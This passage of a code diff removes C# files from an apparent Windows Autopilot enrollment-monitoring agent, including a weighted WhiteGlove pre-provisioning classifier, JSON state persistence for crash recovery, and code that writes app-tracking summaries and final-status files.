/// Asymmetric-conservative decision rule: only a <see cref="WhiteGloveConfidence.Strong"/>
|
||||
/// score routes to WhiteGlove. A <see cref="WhiteGloveConfidence.Weak"/> score is emitted
|
||||
/// to telemetry for tuning but treated as NOT WhiteGlove. Rationale: a false-positive WG
|
||||
/// classification keeps the agent pending when it should exit; a false-negative emits
|
||||
/// <c>enrollment_complete</c> early and the later user sign-in triggers a new session —
|
||||
/// the user-visible cost of false-negative is much lower than false-positive.
|
||||
/// </summary>
|
||||
internal static class WhiteGloveClassifier
|
||||
{
|
||||
// Thresholds (tunable after production data — see project memory).
|
||||
internal const int HighThreshold = 70; // >= 70 → Strong → route to WG
|
||||
internal const int LowThreshold = 30; // 30..69 → Weak (telemetry only)
|
||||
internal const int BaseConfidence = 0;
|
||||
|
||||
// Positive-signal weights
|
||||
internal const int WeightShellCoreWhiteGloveSuccess = 80; // definitive — Event 62407
|
||||
internal const int WeightHasSaveWhiteGloveSuccess = 10; // very weak — also fires on non-WG devices
|
||||
internal const int WeightWhiteGloveStartDetected = 15; // soft — Event 509 also fires on hybrid
|
||||
internal const int WeightFooUserDetected = 20; // weak — pre-provisioning marker
|
||||
internal const int WeightAgentRestartedAfterEspExit = 10; // weak — typical WG boundary
|
||||
internal const int WeightDeviceOnlyDeployment = 15; // context boost
|
||||
|
||||
// Negative-signal weights (hard excluders)
|
||||
internal const int WeightAadJoinedWithUser = -100; // hard exclude
|
||||
internal const int WeightDesktopArrived = -100; // hard exclude
|
||||
internal const int WeightAccountSetupActive = -40; // soft exclude
|
||||
|
||||
public static WhiteGloveClassification Classify(WhiteGloveSignals s)
|
||||
{
|
||||
if (s == null) throw new ArgumentNullException(nameof(s));
|
||||
|
||||
var factors = new List<string>();
|
||||
int score = BaseConfidence;
|
||||
|
||||
// Hard excluders
|
||||
if (s.AadJoinedWithUser)
|
||||
{
|
||||
score += WeightAadJoinedWithUser;
|
||||
factors.Add($"aad_joined_with_user:{WeightAadJoinedWithUser:+#;-#;0}");
|
||||
}
|
||||
if (s.DesktopArrived)
|
||||
{
|
||||
score += WeightDesktopArrived;
|
||||
factors.Add($"desktop_arrived:{WeightDesktopArrived:+#;-#;0}");
|
||||
}
|
||||
if (s.HasAccountSetupActivity)
|
||||
{
|
||||
score += WeightAccountSetupActive;
|
||||
factors.Add($"account_setup_activity:{WeightAccountSetupActive:+#;-#;0}");
|
||||
}
|
||||
|
||||
// Positive signals — weighted by empirical reliability
|
||||
if (s.ShellCoreWhiteGloveSuccess)
|
||||
{
|
||||
score += WeightShellCoreWhiteGloveSuccess;
|
||||
factors.Add($"shellcore_wg_success:{WeightShellCoreWhiteGloveSuccess:+#;-#;0}");
|
||||
}
|
||||
if (s.HasSaveWhiteGloveSuccessResult)
|
||||
{
|
||||
score += WeightHasSaveWhiteGloveSuccess;
|
||||
factors.Add($"save_wg_success:{WeightHasSaveWhiteGloveSuccess:+#;-#;0}");
|
||||
}
|
||||
if (s.IsWhiteGloveStartDetected)
|
||||
{
|
||||
score += WeightWhiteGloveStartDetected;
|
||||
factors.Add($"event509_wg_start:{WeightWhiteGloveStartDetected:+#;-#;0}");
|
||||
}
|
||||
if (s.IsFooUserDetected)
|
||||
{
|
||||
score += WeightFooUserDetected;
|
||||
factors.Add($"foouser_detected:{WeightFooUserDetected:+#;-#;0}");
|
||||
}
|
||||
if (s.AgentRestartedAfterEspExit)
|
||||
{
|
||||
score += WeightAgentRestartedAfterEspExit;
|
||||
factors.Add($"agent_restart_after_esp:{WeightAgentRestartedAfterEspExit:+#;-#;0}");
|
||||
}
|
||||
if (s.IsDeviceOnlyDeployment)
|
||||
{
|
||||
score += WeightDeviceOnlyDeployment;
|
||||
factors.Add($"device_only_deployment:{WeightDeviceOnlyDeployment:+#;-#;0}");
|
||||
}
|
||||
|
||||
// NOTE: no hybrid-join dampener — WhiteGlove works on both AADJ and hybrid.
|
||||
// NOTE: no "long stable since DeviceSetup" bonus — devices stand idle for other reasons.
|
||||
|
||||
// Cap to [0, 100]
|
||||
if (score < 0) score = 0;
|
||||
if (score > 100) score = 100;
|
||||
|
||||
WhiteGloveConfidence confidence;
|
||||
if (score >= HighThreshold) confidence = WhiteGloveConfidence.Strong;
|
||||
else if (score >= LowThreshold) confidence = WhiteGloveConfidence.Weak;
|
||||
else confidence = WhiteGloveConfidence.None;
|
||||
|
||||
return new WhiteGloveClassification
|
||||
{
|
||||
Confidence = confidence,
|
||||
Score = score,
|
||||
ContributingFactors = factors,
|
||||
Reason = $"confidence={confidence} score={score}",
|
||||
ShouldRouteToWhiteGlovePart1 = (confidence == WhiteGloveConfidence.Strong),
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
-63
@@ -1,63 +0,0 @@
|
||||
using System;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Snapshot of all signals relevant for WhiteGlove (Part 1) classification.
|
||||
/// Populated under _stateLock in the caller and consumed outside the lock by
|
||||
/// <see cref="WhiteGloveClassifier.Classify"/> — mirrors the CompletionContext
|
||||
/// pattern to preserve the existing thread-safety guarantees.
|
||||
///
|
||||
/// Source-of-truth is the EnrollmentTracker state. When the tracker uses
|
||||
/// CompletionStateMachine (shadow), use <see cref="FromContext"/> to keep both
|
||||
/// decision paths in sync.
|
||||
/// </summary>
|
||||
internal sealed class WhiteGloveSignals
|
||||
{
|
||||
// "Hard" positive signals (registry / Shell-Core)
|
||||
public bool ShellCoreWhiteGloveSuccess { get; set; } // Event 62407 "WhiteGlove_Success" — strongest signal
|
||||
public bool HasSaveWhiteGloveSuccessResult { get; set; } // DeviceSetup registry subcategory — also fires on non-WG
|
||||
public bool IsWhiteGloveStartDetected { get; set; } // Event 509 — soft, fires on hybrid too
|
||||
public bool IsFooUserDetected { get; set; } // foouser@/autopilot@ in JoinInfo — pre-provisioning indicator
|
||||
public bool AgentRestartedAfterEspExit { get; set; } // typical WG Part 1 boundary
|
||||
|
||||
// Hard excluders (drive score negative)
|
||||
public bool AadJoinedWithUser { get; set; } // real user signed in — not WG Part 1 anymore
|
||||
public bool DesktopArrived { get; set; } // explorer.exe running — not WG Part 1 anymore
|
||||
public bool HasAccountSetupActivity { get; set; } // user-driven ESP category active
|
||||
|
||||
// Deployment context
|
||||
public bool IsDeviceOnlyDeployment { get; set; }
|
||||
|
||||
// Optional metadata (populated for observability, not scored)
|
||||
public DateTime? EspFinalExitUtc { get; set; }
|
||||
public DateTime? DeviceSetupProvisioningCompleteUtc { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Builds a signal snapshot from a <see cref="CompletionContext"/>. Used by the
|
||||
/// CompletionStateMachine so that state-machine decisions use the exact same
|
||||
/// inputs as the EnrollmentTracker's direct decisions.
|
||||
/// </summary>
|
||||
public static WhiteGloveSignals FromContext(CompletionContext ctx)
|
||||
{
|
||||
if (ctx == null) throw new ArgumentNullException(nameof(ctx));
|
||||
|
||||
return new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = ctx.ShellCoreWhiteGloveSuccess,
|
||||
HasSaveWhiteGloveSuccessResult = ctx.HasSaveWhiteGloveSuccessResult,
|
||||
IsWhiteGloveStartDetected = ctx.WhiteGloveStartDetected,
|
||||
IsFooUserDetected = ctx.IsFooUserDetected,
|
||||
AgentRestartedAfterEspExit = ctx.AgentRestartedAfterEspExit,
|
||||
|
||||
AadJoinedWithUser = ctx.AadJoinedWithUser,
|
||||
DesktopArrived = ctx.DesktopArrived,
|
||||
HasAccountSetupActivity = ctx.HasAccountSetupActivity,
|
||||
|
||||
IsDeviceOnlyDeployment = ctx.IsDeviceOnly,
|
||||
|
||||
EspFinalExitUtc = ctx.EspFinalExitUtc,
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
-151
@@ -1,151 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles persistence of EnrollmentTracker state to disk (JSON serialization).
|
||||
/// Enables crash-recovery: after agent restart, completion signals already seen
|
||||
/// (ESP exit, desktop arrival, etc.) are restored so the enrollment can complete.
|
||||
/// Pattern follows ImeTrackerStatePersistence.
|
||||
/// </summary>
|
||||
public class EnrollmentStatePersistence
|
||||
{
|
||||
private readonly string _stateDirectory;
|
||||
private readonly string _stateFilePath;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
public EnrollmentStatePersistence(string stateDirectory, AgentLogger logger)
|
||||
{
|
||||
_stateDirectory = Environment.ExpandEnvironmentVariables(stateDirectory);
|
||||
_stateFilePath = Path.Combine(_stateDirectory, "enrollment-state.json");
|
||||
_logger = logger;
|
||||
}
|
||||
|
||||
public string StateFilePath => _stateFilePath;
|
||||
|
||||
/// <summary>
|
||||
/// Loads persisted state from disk. Returns null if no state file exists or on error.
|
||||
/// </summary>
|
||||
public EnrollmentStateData Load()
|
||||
{
|
||||
if (!File.Exists(_stateFilePath))
|
||||
{
|
||||
_logger.Info("EnrollmentStatePersistence: no persisted state found (fresh enrollment)");
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var json = File.ReadAllText(_stateFilePath);
|
||||
var state = JsonConvert.DeserializeObject<EnrollmentStateData>(json);
|
||||
if (state == null)
|
||||
{
|
||||
_logger.Warning("EnrollmentStatePersistence: persisted state file was empty or invalid");
|
||||
return null;
|
||||
}
|
||||
return state;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentStatePersistence: failed to load persisted state, starting fresh: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists tracker state to disk as JSON (atomic write via temp file).
|
||||
/// </summary>
|
||||
public void Save(EnrollmentStateData state)
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(_stateDirectory);
|
||||
var tempPath = _stateFilePath + ".tmp";
|
||||
File.WriteAllText(tempPath, JsonConvert.SerializeObject(state, Formatting.Indented));
|
||||
File.Copy(tempPath, _stateFilePath, overwrite: true);
|
||||
try { File.Delete(tempPath); } catch { }
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"EnrollmentStatePersistence: failed to save state: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes persisted state file.
|
||||
/// </summary>
|
||||
public void Delete()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_stateFilePath))
|
||||
{
|
||||
File.Delete(_stateFilePath);
|
||||
_logger.Info("EnrollmentStatePersistence: persisted state deleted");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"EnrollmentStatePersistence: failed to delete state file: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- DTO for state serialization ----
|
||||
|
||||
public class EnrollmentStateData
|
||||
{
|
||||
public bool EspEverSeen { get; set; }
|
||||
public bool EspFinalExitSeen { get; set; }
|
||||
public bool DesktopArrived { get; set; }
|
||||
public string LastEspPhase { get; set; }
|
||||
public bool IsWaitingForHello { get; set; }
|
||||
public DateTime? WaitingForHelloStartedUtc { get; set; }
|
||||
public bool EnrollmentCompleteEmitted { get; set; }
|
||||
public string EnrollmentType { get; set; }
|
||||
|
||||
// ESP configuration from registry (FirstSync\SkipUserStatusPage / SkipDeviceStatusPage)
|
||||
public bool? SkipUserStatusPage { get; set; }
|
||||
public bool? SkipDeviceStatusPage { get; set; }
|
||||
|
||||
// Autopilot deployment mode: 0=UserDriven, 1=SelfDeploying, 2=PreProvisioning, null=unknown
|
||||
public int? AutopilotMode { get; set; }
|
||||
|
||||
// True when AAD join status shows a joined device with a real user email
|
||||
// (placeholder accounts like foouser@/autopilot@ are excluded — see AadJoinInfo)
|
||||
public bool AadJoinedWithUser { get; set; }
|
||||
|
||||
// True when a transient AAD provisioning placeholder (foouser@/autopilot@) has been
|
||||
// observed at any point in the session — survives crash/restart so the classifier
|
||||
// keeps its positive WG signal after agent recovery.
|
||||
public bool FooUserDetected { get; set; }
|
||||
|
||||
// True when Autopilot profile indicates Hybrid Azure AD Join (CloudAssignedDomainJoinMethod == 1)
|
||||
public bool IsHybridJoin { get; set; }
|
||||
|
||||
// Signal timestamps for audit trail
|
||||
public DateTime? EspFirstSeenUtc { get; set; }
|
||||
public DateTime? EspFinalExitUtc { get; set; }
|
||||
public DateTime? DesktopArrivedUtc { get; set; }
|
||||
public DateTime? HelloResolvedUtc { get; set; }
|
||||
public DateTime? ImePatternSeenUtc { get; set; }
|
||||
public DateTime? DeviceSetupProvisioningCompleteUtc { get; set; }
|
||||
public List<string> SignalsSeen { get; set; } = new List<string>();
|
||||
|
||||
// ESP provisioning settle wait state (crash recovery)
|
||||
public bool IsWaitingForEspSettle { get; set; }
|
||||
public DateTime? WaitingForEspSettleStartedUtc { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Explicit completion state machine state (dual-write).
|
||||
/// When present, used to restore the state machine directly.
|
||||
/// When absent (old format), the state is reconstructed from boolean flags.
|
||||
/// Serialized as string (enum name) for forward compatibility.
|
||||
/// </summary>
|
||||
public string CompletionState { get; set; }
|
||||
}
|
||||
}
|
||||
-1813
File diff suppressed because it is too large
Load Diff
-381
@@ -1,381 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment
|
||||
{
|
||||
/// <summary>
|
||||
/// Partial: Device info collection at key lifecycle points, app tracking summaries,
|
||||
/// debug state timer, and final status file writing.
|
||||
/// </summary>
|
||||
public partial class EnrollmentTracker
|
||||
{
|
||||
private void CollectDeviceInfoAtEnrollmentStart()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_enrollmentStartDeviceInfoCollected)
|
||||
return;
|
||||
_enrollmentStartDeviceInfoCollected = true;
|
||||
}
|
||||
|
||||
if (!_isBootstrapMode)
|
||||
{
|
||||
_logger.Debug("EnrollmentTracker: skipping enrollment-start device info re-collection (not bootstrap mode)");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Info("EnrollmentTracker: first ESP phase detected — re-collecting enrollment-dependent device info (bootstrap mode)");
|
||||
Task.Run(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
_deviceInfoCollector.CollectAtEnrollmentStart();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to re-collect device info at enrollment start: {ex.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void CollectDeviceInfoAtFinalizingSetup(string triggerReason)
|
||||
{
|
||||
bool alreadyCollected;
|
||||
lock (_stateLock)
|
||||
{
|
||||
alreadyCollected = _finalDeviceInfoCollected;
|
||||
if (!alreadyCollected)
|
||||
_finalDeviceInfoCollected = true;
|
||||
}
|
||||
|
||||
if (alreadyCollected)
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: final device info already collected, skipping (trigger: {triggerReason})");
|
||||
return;
|
||||
}
|
||||
_logger.Info($"EnrollmentTracker: triggering final device info collection at FinalizingSetup (trigger: {triggerReason})");
|
||||
CollectDeviceInfoAtEnd();
|
||||
}
|
||||
|
||||
private void SummaryTimerCallback(object state)
|
||||
{
|
||||
// Only emit if state-breakdown counters changed since last emission (backstop for missed events)
|
||||
EmitAppTrackingSummaryIfChanged();
|
||||
|
||||
// Signal-correlated WhiteGlove detection (Ebene 2.6) — event-driven in the sense
|
||||
// that it only triggers when the observed signal set matches; zero-cost when the
|
||||
// session does not look like a sealing candidate.
|
||||
try { CheckSignalCorrelatedWhiteGlove(); }
|
||||
catch (Exception ex) { _logger.Error("CheckSignalCorrelatedWhiteGlove failed", ex); }
|
||||
|
||||
// Periodic state save (piggybacks on the existing 30s timer)
|
||||
bool dirty;
|
||||
EnrollmentStateData stateSnapshot;
|
||||
lock (_stateLock)
|
||||
{
|
||||
dirty = _stateDirty;
|
||||
if (dirty)
|
||||
{
|
||||
_stateDirty = false;
|
||||
stateSnapshot = _stateData;
|
||||
}
|
||||
else
|
||||
{
|
||||
stateSnapshot = null;
|
||||
}
|
||||
}
|
||||
|
||||
if (dirty)
|
||||
_statePersistence.Save(stateSnapshot);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Periodic debug state snapshot (every 60s). Writes to agent log only (not as event) to aid
|
||||
/// post-mortem debugging of stuck enrollments without consuming Azure Table Storage.
|
||||
/// </summary>
|
||||
private void DebugStateTimerCallback(object state)
|
||||
{
|
||||
try
|
||||
{
|
||||
string lastPhaseDbg;
|
||||
bool espFinalExitDbg, desktopDbg;
|
||||
lock (_stateLock)
|
||||
{
|
||||
lastPhaseDbg = _lastEspPhase;
|
||||
espFinalExitDbg = _espFinalExitSeen;
|
||||
desktopDbg = _desktopArrived;
|
||||
}
|
||||
|
||||
var states = _imeLogTracker?.PackageStates;
|
||||
if (states == null || states.CountAll == 0) return;
|
||||
|
||||
var active = states.Where(x => x.IsActive).Select(x => $"{x.Name ?? x.Id}({x.InstallationState})");
|
||||
var errors = states.Where(x => x.IsError).Select(x => $"{x.Name ?? x.Id}");
|
||||
|
||||
_logger.Debug($"[StateSnapshot] Apps: {states.CountCompleted}/{states.CountAll} completed, " +
|
||||
$"{states.ErrorCount} errors (device:{states.Count(x => x.IsError && x.Targeted == AppTargeted.Device)}, " +
|
||||
$"user:{states.Count(x => x.IsError && x.Targeted == AppTargeted.User)}), " +
|
||||
$"active: [{string.Join(", ", active)}], " +
|
||||
$"failed: [{string.Join(", ", errors)}], " +
|
||||
$"phase: {lastPhaseDbg ?? "none"}, espExit: {espFinalExitDbg}, desktop: {desktopDbg}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"[StateSnapshot] Error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Emits app_tracking_summary only if state-breakdown counters changed since last emission.
|
||||
/// Called both event-driven (from HandleAppStateChanged) and periodically (30s timer backstop).
|
||||
/// </summary>
|
||||
private void EmitAppTrackingSummaryIfChanged()
|
||||
{
|
||||
var states = _imeLogTracker?.PackageStates;
|
||||
if (states == null || states.CountAll == 0) return;
|
||||
|
||||
var hash = GetSummaryHash(states);
|
||||
|
||||
EventSeverity severity;
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (hash == _lastEmittedSummaryHash) return;
|
||||
_lastEmittedSummaryHash = hash;
|
||||
|
||||
var compactHash = $"{states.CountCompleted}_{states.ErrorCount}";
|
||||
severity = (compactHash != _lastEmittedSummaryCompactHash)
|
||||
? (states.HasError ? EventSeverity.Warning : EventSeverity.Info)
|
||||
: EventSeverity.Debug;
|
||||
_lastEmittedSummaryCompactHash = compactHash;
|
||||
}
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "app_tracking_summary",
|
||||
Severity = severity,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"App tracking: {states.CountCompleted}/{states.CountAll} completed" +
|
||||
(states.HasError ? $" ({states.ErrorCount} errors)" : ""),
|
||||
Data = states.GetSummaryData(),
|
||||
ImmediateUpload = (severity != EventSeverity.Debug)
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Emits app_tracking_summary unconditionally (for final summary on completion).
|
||||
/// </summary>
|
||||
private void EmitAppTrackingSummary()
|
||||
{
|
||||
var states = _imeLogTracker?.PackageStates;
|
||||
if (states == null || states.CountAll == 0) return;
|
||||
|
||||
lock (_stateLock) { _lastEmittedSummaryHash = GetSummaryHash(states); }
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "app_tracking_summary",
|
||||
Severity = states.HasError ? EventSeverity.Warning : EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"App tracking: {states.CountCompleted}/{states.CountAll} completed" +
|
||||
(states.HasError ? $" ({states.ErrorCount} errors)" : ""),
|
||||
Data = states.GetSummaryData(),
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
|
||||
private static string GetSummaryHash(AppPackageStateList states)
|
||||
{
|
||||
return $"{states.CountAll}_{states.CountCompleted}_{states.ErrorCount}_" +
|
||||
$"{states.Count(x => x.InstallationState == AppInstallationState.Downloading)}_" +
|
||||
$"{states.Count(x => x.InstallationState == AppInstallationState.Installing)}_" +
|
||||
$"{states.Count(x => x.InstallationState == AppInstallationState.Installed)}";
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
|
||||
// Unsubscribe from EspAndHelloTracker events
|
||||
if (_espAndHelloTracker != null)
|
||||
{
|
||||
_espAndHelloTracker.HelloCompleted -= OnHelloCompleted;
|
||||
_espAndHelloTracker.FinalizingSetupPhaseTriggered -= OnFinalizingSetupPhaseTriggered;
|
||||
_espAndHelloTracker.WhiteGloveCompleted -= OnWhiteGloveCompleted;
|
||||
_espAndHelloTracker.EspFailureDetected -= OnEspFailureDetected;
|
||||
_espAndHelloTracker.DeviceSetupProvisioningComplete -= OnDeviceSetupProvisioningComplete;
|
||||
}
|
||||
|
||||
_espFailureTimer?.Dispose();
|
||||
_deviceOnlyEspTimer?.Dispose();
|
||||
_waitingForHelloSafetyTimer?.Dispose();
|
||||
_waitingForEspSettleTimer?.Dispose();
|
||||
_deviceOnlyCompletionSafetyTimer?.Dispose();
|
||||
_summaryTimer?.Dispose();
|
||||
_debugStateTimer?.Dispose();
|
||||
_imeLogTracker?.Dispose();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes an enrollment complete marker to the state directory.
|
||||
/// This marker is checked on agent restart to handle cleanup retry if scheduled task fails.
|
||||
/// </summary>
|
||||
private void WriteEnrollmentCompleteMarker()
|
||||
{
|
||||
try
|
||||
{
|
||||
var stateDirectory = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State");
|
||||
Directory.CreateDirectory(stateDirectory);
|
||||
|
||||
var markerPath = Path.Combine(stateDirectory, "enrollment-complete.marker");
|
||||
File.WriteAllText(markerPath, $"Enrollment completed at {DateTime.UtcNow:O}");
|
||||
|
||||
_logger.Info($"Enrollment complete marker written: {markerPath}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to write enrollment complete marker: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a comprehensive final-status.json with all app states, signals, and error summary.
|
||||
/// Automatically included in diagnostics uploads for post-mortem analysis.
|
||||
/// </summary>
|
||||
private void WriteFinalStatus(string outcome, string source)
|
||||
{
|
||||
try
|
||||
{
|
||||
var stateDirectory = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State");
|
||||
Directory.CreateDirectory(stateDirectory);
|
||||
|
||||
var appStates = _imeLogTracker?.PackageStates;
|
||||
|
||||
var signalTimestamps = new Dictionary<string, string>();
|
||||
if (_stateData.EspFirstSeenUtc.HasValue)
|
||||
signalTimestamps["espFirstSeen"] = _stateData.EspFirstSeenUtc.Value.ToString("o");
|
||||
if (_stateData.EspFinalExitUtc.HasValue)
|
||||
signalTimestamps["espFinalExit"] = _stateData.EspFinalExitUtc.Value.ToString("o");
|
||||
if (_stateData.DesktopArrivedUtc.HasValue)
|
||||
signalTimestamps["desktopArrived"] = _stateData.DesktopArrivedUtc.Value.ToString("o");
|
||||
if (_stateData.HelloResolvedUtc.HasValue)
|
||||
signalTimestamps["helloResolved"] = _stateData.HelloResolvedUtc.Value.ToString("o");
|
||||
if (_stateData.ImePatternSeenUtc.HasValue)
|
||||
signalTimestamps["imePatternSeen"] = _stateData.ImePatternSeenUtc.Value.ToString("o");
|
||||
if (_stateData.DeviceSetupProvisioningCompleteUtc.HasValue)
|
||||
signalTimestamps["deviceSetupProvisioningComplete"] = _stateData.DeviceSetupProvisioningCompleteUtc.Value.ToString("o");
|
||||
|
||||
// Build per-phase package states: snapshots from completed phases + current phase
|
||||
var phaseSnapshots = _imeLogTracker?.PhasePackageSnapshots;
|
||||
var packageStatesByPhase = new Dictionary<string, object>();
|
||||
|
||||
// Add snapshots from completed phases (e.g. DeviceSetup apps captured before phase transition)
|
||||
if (phaseSnapshots != null)
|
||||
{
|
||||
foreach (var kvp in phaseSnapshots)
|
||||
packageStatesByPhase[kvp.Key] = kvp.Value;
|
||||
}
|
||||
|
||||
// Add current phase (the phase active at completion, e.g. AccountSetup)
|
||||
var currentPhaseName = _lastEspPhase ?? "Unknown";
|
||||
var currentPhaseList = appStates?.ToFinalStatusList() ?? new List<Dictionary<string, object>>();
|
||||
packageStatesByPhase[currentPhaseName] = currentPhaseList;
|
||||
|
||||
// Aggregate app summary across ALL phases (snapshots + current)
|
||||
var currentPhaseTotal = appStates?.CountAll ?? 0;
|
||||
var currentPhaseCompleted = appStates?.CountCompleted ?? 0;
|
||||
var currentPhaseErrors = appStates?.ErrorCount ?? 0;
|
||||
var currentPhaseDeviceErrors = appStates?.Count(x => x.IsError && x.Targeted == AppTargeted.Device) ?? 0;
|
||||
var currentPhaseUserErrors = appStates?.Count(x => x.IsError && x.Targeted == AppTargeted.User) ?? 0;
|
||||
|
||||
var allPhaseTotals = new Dictionary<string, int>();
|
||||
var totalAppsAllPhases = currentPhaseTotal;
|
||||
var completedAppsAllPhases = currentPhaseCompleted;
|
||||
var errorCountAllPhases = currentPhaseErrors;
|
||||
var deviceErrorsAllPhases = currentPhaseDeviceErrors;
|
||||
var userErrorsAllPhases = currentPhaseUserErrors;
|
||||
|
||||
allPhaseTotals[currentPhaseName] = currentPhaseTotal;
|
||||
|
||||
if (phaseSnapshots != null)
|
||||
{
|
||||
foreach (var kvp in phaseSnapshots)
|
||||
{
|
||||
var phaseApps = kvp.Value;
|
||||
allPhaseTotals[kvp.Key] = phaseApps.Count;
|
||||
totalAppsAllPhases += phaseApps.Count;
|
||||
foreach (var app in phaseApps)
|
||||
{
|
||||
object stateVal;
|
||||
var isError = app.TryGetValue("state", out stateVal) &&
|
||||
string.Equals(stateVal?.ToString(), "Error", StringComparison.OrdinalIgnoreCase);
|
||||
var isCompleted = app.TryGetValue("state", out stateVal) &&
|
||||
(stateVal?.ToString() == "Installed" || stateVal?.ToString() == "Skipped" ||
|
||||
stateVal?.ToString() == "Postponed" || stateVal?.ToString() == "Error");
|
||||
if (isCompleted) completedAppsAllPhases++;
|
||||
if (isError)
|
||||
{
|
||||
errorCountAllPhases++;
|
||||
object targetVal;
|
||||
if (app.TryGetValue("targeted", out targetVal))
|
||||
{
|
||||
if (string.Equals(targetVal?.ToString(), "Device", StringComparison.OrdinalIgnoreCase))
|
||||
deviceErrorsAllPhases++;
|
||||
else if (string.Equals(targetVal?.ToString(), "User", StringComparison.OrdinalIgnoreCase))
|
||||
userErrorsAllPhases++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var status = new Dictionary<string, object>
|
||||
{
|
||||
{ "timestamp", DateTime.UtcNow.ToString("o") },
|
||||
{ "outcome", outcome },
|
||||
{ "completionSource", source },
|
||||
{ "helloOutcome", _espAndHelloTracker?.HelloOutcome ?? "unknown" },
|
||||
{ "enrollmentType", _enrollmentType ?? "unknown" },
|
||||
{ "agentUptimeSeconds", (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds },
|
||||
{ "signalsSeen", SnapshotSignalsSeen() },
|
||||
{ "signalTimestamps", signalTimestamps },
|
||||
{ "appSummary", new Dictionary<string, object>
|
||||
{
|
||||
{ "totalApps", totalAppsAllPhases },
|
||||
{ "completedApps", completedAppsAllPhases },
|
||||
{ "errorCount", errorCountAllPhases },
|
||||
{ "deviceErrors", deviceErrorsAllPhases },
|
||||
{ "userErrors", userErrorsAllPhases },
|
||||
{ "appsByPhase", allPhaseTotals }
|
||||
}
|
||||
},
|
||||
{ "packageStatesByPhase", packageStatesByPhase }
|
||||
};
|
||||
|
||||
var json = System.Text.Json.JsonSerializer.Serialize(status,
|
||||
new System.Text.Json.JsonSerializerOptions { WriteIndented = true });
|
||||
var path = Path.Combine(stateDirectory, "final-status.json");
|
||||
File.WriteAllText(path, json);
|
||||
_logger.Info($"Final status written: {path}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to write final status: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-768
@@ -1,768 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment
|
||||
{
